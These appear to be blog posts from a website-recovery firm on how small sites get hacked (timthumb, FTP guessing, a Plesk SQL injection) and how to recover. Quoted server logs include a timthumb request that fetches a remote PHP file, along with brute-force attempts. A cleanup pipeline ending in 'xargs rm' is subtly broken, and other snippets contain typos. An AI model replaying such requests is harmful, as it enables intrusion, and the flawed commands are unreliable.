A common question we receive is ‘Why did I get hacked? We haven’t done anything…’. The easy answer is, it’s not you or your site, it’s most likely an random attack by an automated program or robot. There are ‘high score’ sites where people list their defacements and conquests. It’s a numbers game and it does not matter if it’s a small site with photos or a business lifeline.

How did my site get hacked?

This question is harder to answer, but in these days of dynamic sites it is usually the website itself that is the culprit. The advent of free, open source scripts created by third parties specifically aimed at ‘non-techies’ has created a vast swathe of content creators who don’t know how their websites work. This is not necessarily a bad thing, however it does lead to easier targets for hackers.

Common entry points

1. Web Scripts – scripts such as WordPress, Joomla, Drupal. WordPress for example had the recently publicised timthumb vulnerability. As a widely used image publishing and resizing tool, it eventually turned out that a simple coding issue allowed an attacker to gain a ‘web shell’ inside wordpress sites. This sparked a mass series of automated attacks looking for ‘timthumb’. It’s still going on today.

77.65.2.180 - - [09/May/2012:11:27:38 +0100] "GET //wp-content/themes/mimbopro/scripts/timthumb.php?src=http%3a%2f%2fpicasa.combos.aaa.org/byroe.php HTTP/1.1" 404 1276 "-" "Mozilla/4.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/5.0)"

2. File Security – most hosting solutions allow file access via FTP. This is protected by a single username and password that, if compromised, would allow an attacker to upload anything to your site. FTP is an old protocol and transmits the username and password in plain text. It is trivial, under the right conditions, to gain access to these details. The details can also be guessed if they are insecure.

May 9 10:41:11 server ftpd[24517]: (188.165.203.19[188.165.203.19]) - USER admin: no such user found from 188.165.203.19 [188.165.203.19] to 188.65.183.161:21
May 9 10:41:11 server ftpd[24518]: (188.165.203.19[188.165.203.19]) - USER webmaster: no such user found from 188.165.203.19 [188.165.203.19] to 188.65.183.161:21

3. Other Websites – The majority of people use shared hosting as it reduces costs however it is possible to be ‘backdoored’ by another site on the same platform depending on server conditions and permission setup.

What can I do to prevent getting hacked?

Easy To Do
1. Keep your scripts up to date. Make it a weekly occurrence to check for any updates. Most scripts have automated notifiers in the admin section that will prompt you to update.
2. Add additional protection to your sites rather than relying on the security features of the third party creating your site. For example, in the administration section of your site add a an additional user and password prompt.
3. Do not use insecure usernames and passwords for file access, and ask your webhost if FTP over SSL, or FTP over SSH (sFTP) is available. Replacing l3tt3r5 with numb3r5 is not an effective security measure.
4. Not really a prevention, but BACKUP. Don’t rely on anyone doing this but you. Backup. Backup. Did I say it enough times? Back UP.

Harder to do or not cost effective

5. Lock down permissions on your site to prevent file changes and only allow uploading when adding content. Some hosts have a ‘lock this site’ option that will prevent anyone writing to the website be it your FTP user, or anything uploaded to the site. This is only effective in certain situations where temporary files are not needed etc.
6. Move to virtual or dedicated hosting and apply tools such as an application firewall or systems to track file changes such as Tripwire.

There are several things you should do to:

a) keep your google ranking
b) get your site back online
c) get google to remove your site from their ‘bad site’ listing

Keep Your Google Ranking

When your content is replaced, GoogleBot and other search engine spiders will treat that hacked site as your own. Perhaps, if the attacker is clever, the hacked content may only be shown if the visitor comes from google or the visitor is a search engine spider specifically to target this.

The trick is to immediately set a redirect on your site to a holding page. Not a 301 (permanent) redirect rather a 307 (temporary, use normal URL usually) redirect. This means that google will not list the holding page in the rankings. It is useful to do this to bypass the compromised content whilst you get the hacked site back online.

In a .htaccess file add:
RewriteEngine on
RewriteCond %{REQUEST_URI} !/temporary_holding_page.htm$
RewriteRule $ /temporary_holding_page.htm$l [R=307,L]

*obviously rename the page in the example to your actual holding page.

Get Your Site Back Online

Should the attack be obvious, such as a directory uploaded to your site, the overwhelming urge is to delete it. DO NOT DO THIS. If you get someone to look at your site as you may think there are still some nasties lurking, you’ve just removed the evidence of the attacker’s presence. When the files were created, who they are owned by, what they are doing, are all clues that help security companies find the entry point. Removing this evidence is like tidying up a burgled house before the police get there.

Your 307 redirect will most likely have stopped the effect of these files. It is enough.

If it’s not obvious how your site was compromised, or you need help contact SalvageMySite via email or phone 01204 371037 to fix your hacked site.

Get Google To Remove Your Site From Their ‘Bad’ List

If you’ve not got a Google Webmaster Account, get one. It’s the way you can tell google to re-evaluate your site for re-inclusion into the index. You have to give a reason or explanation as to what has happened, but it will force a refresh of your site to check for malware, and if fixed, will be removed much quicker than the natural processes Google uses.

On 10th February Plesk sent an email to its customers.

——-
Dear Parallels Plesk Panel User:

Please read this message in its entirety and take the recommended actions.

Parallels has been informed of a SQL injection security vulnerability in some older versions of Plesk. This vulnerability is considered critical in nature and customers are advised take action quickly.

A patch has been released to resolve this vulnerability. Based on the version and operating system of Plesk you use, please follow the instructions below.
——-

Basically the email tells users to upgrade to the latest patch level of the current release (for example 9.5 to 9.5.3 release X) or even better all the way up to plesk 10.x the latest they have.

Having experienced plesk upgrades in the past and the resulting fall out on every single occasion this is not an ideal situation. Micro patching to the latest version of the branch is recommended.

Of course, admins don’t do this and we’ve had several calls asking for help. The email does not actually tell you what is happening, just to upgrade.

Victims of this attack will notice perhaps that files are created all over the server with the permissions and ownerships of the FTP users themselves, as if the users had FTP’d them. Files owned by the users are harder to track down than say files owned by the webserver user apache because it’s relatively simple to search for files ‘owned by apache, ending in php, created in the last x days’ ( find /var/www/vhosts -user apache -mtime 1 -name “*.php” )

Looking in the plesk admin logs, which are not obvious to find, in /usr/local/psa/admin/logs you may find something similar to the below:

86.93.91.226 - - [04/Mar/2012:20:41:09 +0000] "GET /domains/dom_ctrl.php3?dom_id=235&previous_page=domains&cmd=file_manager HTTP/1.1" 200 865
86.93.91.226 - - [04/Mar/2012:20:41:10 +0000] "GET /filemanager/filemanager.php?cmd=chdir&file=%2Fcgi-bin%2F&previous_page=filemanager HTTP/1.1" 200 868
86.93.91.226 - - [04/Mar/2012:20:41:11 +0000] "POST /filemanager/filemanager.php HTTP/1.1" 200 868
86.93.91.226 - - [04/Mar/2012:20:41:12 +0000] "POST /filemanager/filemanager.php HTTP/1.1" 200 868
62.133.139.78 - - [04/Mar/2012:20:41:13 +0000] "GET /domains/dom_ctrl.php3?dom_id=674&previous_page=domains&cmd=file_manager HTTP/1.1" 200 865
62.133.139.78 - - [04/Mar/2012:20:41:15 +0000] "GET /filemanager/filemanager.php?cmd=chdir&file=%2Fcgi-bin%2F&previous_page=filemanager HTTP/1.1" 200 868
86.93.91.226 - - [04/Mar/2012:20:41:15 +0000] "GET /domains/dom_ctrl.php3?dom_id=19&previous_page=domains&cmd=file_manager HTTP/1.1" 200 865
86.93.91.226 - - [04/Mar/2012:20:41:16 +0000] "GET /filemanager/filemanager.php?cmd=chdir&file=%2Fcgi-bin%2F&previous_page=filemanager HTTP/1.1" 200 868

Random IPs (compromised servers as they happen to be in this case) POSTing to the file manager and logging in and out without authentication? This is how the files are being created.

These files tend to be perl files uploaded to the cgi-bin (as plesk tends to limit ExecCGI to the cgi-bin).

Something like find /var/www/vhosts/*/cgi-bin -mtime 1 -name "*.pl* will list all perl files in the cgi-bins of all domains created in the last day. If you can find a common string, as is usually the case as these are just bots so the files are the same, then you can search the server for the string.

If these perl files were opening a Socket for example, this is pretty rare to find in typical web user’s files so you could run something like find /var/www/*/cgi-bin | xargs grep 'Socket::' -sl and (after a period of time) list all the files containing that string.

After checking the resulting list, and confirming that they are all compromised files you could run something like:

find /var/www/vhosts/* | xargs grep 'Socket::' | xargs rm which would remove all the files listed.

On a couple of servers we’ve seen that the attackers have added cron jobs so the processes start again. Be sure to check /var/spool/cron/*user* and the /tmp directory for strangely owned files, assuming that /tmp is not mounted noexec,nosuid of course.

*please note we cannot take any responsibility for incorrectly removed files should you run the above commands. Ensure the results are researched fully prior to any permanent action.

Months after the event, webmasters are realising they are the subject of an attack and cannot do anything about it. We’re still getting calls about it. timthumb.php is part of a large number of extensions, themes and plugins available for wordpress. Unfortunately due to the way it was coded, it allowed attackers to upload files to writable directories on the website in question, and run whatever code therein. Sometimes this was used to deface the site in question by inserting code into the header files of a website, or sometimes this was used as a phishing location. Phishing means that a page was created in order to get usernames, passwords, credit card information by pretending to be a bank or similar.

There are several scanners for this here being one, however if you need an audit give us a call using the details below.

How did this happen? ‘Hacked By’ is a common defacement using the attacker’s name.

Most likely, the site was running a common piece of software designed to make life easy for the administrator of a site. This could be WordPress, Drupal, Vbulletin or many other examples.

This software is not necessarily insecure, but like anything, if the software is not updated or incorrectly installed then eventually the software will be compromised. Especially, as on the internet everything is in the firing line 24 hours a day.

The nature of the software, ‘easy life for the administrator’ does not help itself really. By its very definition it will attract ‘non-geeks‘ to publish websites whereas they would not if they had to code from scratch. Non-geeks are not generally aware that sites need updating nor are they aware that things like file and folder permissions matter. All these are security issues that people can exploit.

Generally a site hack is not maliciously aimed at the site owner. It’s more a game. There are sites where compromised sites are listed in a kind of high score chart. Most of these attacks are drive-by attacks. A robot has found your site with a particular vulnerability and has automatically exploited it.

Most hacks are like the above image, site defacements. Some are nastier, they will hide javascript in your site (that to all intents and purposes looks legitimate) that links to a remote site the attacker controls. This site will automatically attempt to download a virus or trojan to the visitor’s machine.

A new feature seen recently masks the script from being called unless the visitor is from a certain country or has come from a certain search engine. As most people cannot see this script and flag something is wrong to the owner, the script may go undetected for some time. For example, we have just seen a site that redirects visitors only if they are from the USA, and have clicked on the site link at Yahoo. May give the attacker less traffic overall initially but if undetected will yield better results over time.

Virtual platforms deploy ‘servers’ as default (and sometimes outdated) systems. Whilst these systems are set up for ease of use they are not set up for security. Mainly this is because each situation that someone may want a server for is different. There is no magic bullet or blanket ruleset in terms of securing a server.

With Linux in mind there are common issues that contribute to the insecurity of a server.

• Old or insecure daemons that have not been updated
• Weak access passwords and methodology
• Users

In terms of common hacks these days it’s really the last two points that have most relevance.

Users are a necessary evil. They require access to the system but there needs to be a balance between functionality and security. As expected, users want maximum functionality whilst admins want maximum security.

Common issues caused by users are the flipside of this article namely the security of the users themselves and what attackers can upload to your system with user permissions. For example, an attacker could upload a freely available php shell script, and if web accessible this gives the attacker a command line prompt to your system with webserver permissions. Of course, this should be locked down aswell but there are many systems that (incorrectly, of course) run their webservers as the root user.

The methodology of the server setup is another common stumbling block. Do the users need shell access? Who needs superuser access apart from the owner? Do you allow superuser access from anywhere, on the standard default ports?

For example, we recently set up a virtual server on a brand new allocated IP address and left direct root access open. Within 30 minutes there were authentication attempts from random IP addresses trying to guess the root password, and also no doubt probing for insecurities in the authentication daemon (OpenSSH in this case). Bots are scanning vast ranges of IP addresses all the time.

Weak Passwords

When people think nobody is looking, they are their own worst enemy in terms of passwords.

The above quote is unfortunately true. In the many and various situations we ourselves have seen, passwords range from the traditional password1234 to replacing ‘l3tt3r5 with numb3r5′. Take note, these passwords are beyond trivial to compromise. A script running thousands of iterations per second can guess these passwords without issue.

Ideally your password should be of at least 12 characters of random letters (both cases), numbers and special characters !@£$%^&*() (for example).

Keyloggers

If your machine is infected with a trojan or virus it’s quite possible that an attacker has installed a keylogger (a program to track what you type). With this information, no matter the strength of the password an attacker has that password.

Server Compromise (Backdoor)

Moreso on shared hosting systems, if you have directories that require lax (chmod) permissions then another site on your server that has been compromised via the above methods can write files into these directories.

You may find that when you visit your site you receive something similar to the image below.

Google, OpenDNS and other filtering services place restrictions on sites that it has detected containing malware. Visiting the site is not recommended because of a dangerous element present on the site.

What Is Malware?

Usually, malware on a site is a piece of code that calls another website, perhaps owned by the attacker, that attempts to download viruses or trojans to your machine.

This ease of use can come at a price. Ease of use means stability, and stability can sometimes mean out of date components, moreso if the control panel is not updated regularly.

If a server component is compromised, plesk can be difficult to troubleshoot if the customer is not familiar with command line interfaces / shell.